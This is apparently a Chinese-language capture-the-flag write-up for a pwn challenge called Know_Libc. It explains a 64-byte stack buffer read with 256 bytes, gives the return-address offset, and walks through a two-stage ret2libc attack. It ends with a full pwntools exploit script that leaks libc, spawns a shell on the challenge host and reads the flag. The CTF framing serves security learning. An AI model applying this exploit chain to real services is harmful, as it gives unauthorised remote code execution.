Aleer
Aleer
发布于 2026-11-09 / 23 阅读
0
0

PWN - Know_Libc

题目基本信息

  • 题目名称:Know_Libc

  • 题目类型:Pwn - ret2libc

  • 保护机制 (Checksec):

    • Arch: amd64-64-little

    • RELRO: Partial RELRO

    • Stack: No canary found

    • NX: NX enabled

    • PIE: No PIE (0x400000)

漏洞分析

通过 IDA 反编译 main 函数,关键代码如下:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF
​
  init(argc, argv, envp);
  puts(s);
  puts(asc_402060);
  read(0, buf, 0x100uLL);
  return 0;
}

漏洞点:

  1. buf 的大小为 64 (0x40) 字节。

  2. read 函数读取长度高达 0x100 (256) 字节,存在明显的栈溢出漏洞。

  3. 偏移计算:buf 距离 rbp 为 0x40 (64) 字节,覆盖 rbp 还需要 8 字节,因此覆盖返回地址(RIP)的偏移为 72。

特殊注意点:read 是系统调用,必须接收满 0x100 字节才会返回。所以在构造 payload 时,必须补齐至 256 字节,否则程序会一直阻塞在 read 阶段等待输入。

利用思路 (ret2libc)

程序本身既没有 system 函数,也没有 /bin/sh 字符串,且未开启 PIE ,因此属于经典的 ret2libc 场景。分为两轮攻击:

  1. 第一轮(泄露 Libc):

    • 利用 pop rdi; ret 将 puts 的 GOT 表地址弹入 RDI。

    • 调用 puts@plt 打印出 puts 的真实内存地址。

    • 返回到 main 函数起始地址,为第二轮溢出做准备。

  2. 第二轮(Get Shell):

    • 拿到 puts 真实地址后,利用题目附件的 libc.so.6 计算出 libc 基址。

    • 得到 system 和 /bin/sh 的真实地址。

    • 构造 system("/bin/sh") 的 ROP 链并发送,获取 shell。

实战排坑与注意事项

在实际编写脚本调试过程中,踩了几个经典的坑:

栈对齐 (Stack Alignment)

  • 现象:第一轮泄露完美成功,但第二轮进入 interactive 后瞬间 Got EOF。

  • 原因:64 位下 system 内部使用了 movaps 指令,要求 rsp 16 字节对齐。有时必须加 ret 垫栈,有时不能加(取决于 libc 版本)。

  • 解决:如果崩溃,尝试在 pop_rdi 前多加一个 ret,或者干脆去掉 ret。

完整 Exp 脚本

from pwn import *
​
# 设置日志级别和架构
context.log_level = 'info'
context.arch = 'amd64'
​
# 加载题目附件
elf = ELF('./know_libc')
libc = ELF('./libc.so.6')
​
# 连接远程靶机
p = remote('challenge1.pctf.top', 31581)
​
# 计算覆盖返回地址的偏移
offset = 72
​
# 获取 ROP Gadget
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]
​
# ================= 第一轮:泄露 puts 地址 =================
payload1 = flat({
    offset: [
        ret,                  # 栈对齐
        pop_rdi,
        elf.got['puts'],      # 参数:puts 的 got 表地址
        elf.plt['puts'],      # 调用 puts@plt 打印地址
        elf.symbols['main']   # 重新回到 main 函数
    ]
})
​
# 接收初始输出
p.recv(timeout=1)
# 发送 payload 并补齐至 0x100 字节
p.send(payload1.ljust(0x100, b'A'))
​
# 接收泄露的地址(取低 6 字节)并解包
leak_data = p.recv(6)
leak = u64(leak_data.ljust(8, b'\x00'))
log.success(f'puts leak: {hex(leak)}')
​
# ================= 计算 Libc 基址 =================
libc.address = leak - libc.symbols['puts']
system = libc.symbols['system']
binsh  = next(libc.search(b'/bin/sh'))
​
log.success(f'libc base: {hex(libc.address)}')
log.success(f'system: {hex(system)}')
log.success(f'/bin/sh: {hex(binsh)}')
​
# ================= 第二轮:GetShell =================
payload2 = flat({
    offset: [
        # 这里根据实测,去掉了 ret,如果远程报错可以尝试加上 ret
        pop_rdi,    
        binsh,
        system
    ]
})
​
# 接收回到 main 后的提示
p.recv(timeout=1)
# 发送 payload 并补齐至 0x100 字节
p.send(payload2.ljust(0x100, b'A'))
​
# 发送换行符,激活 shell
p.sendline(b'')
# 发送命令读取 flag
p.sendline(b'echo "Here is the flag:"; cat flag; cat flag.txt; ls -al')
​
# 进入交互模式
p.interactive()


评论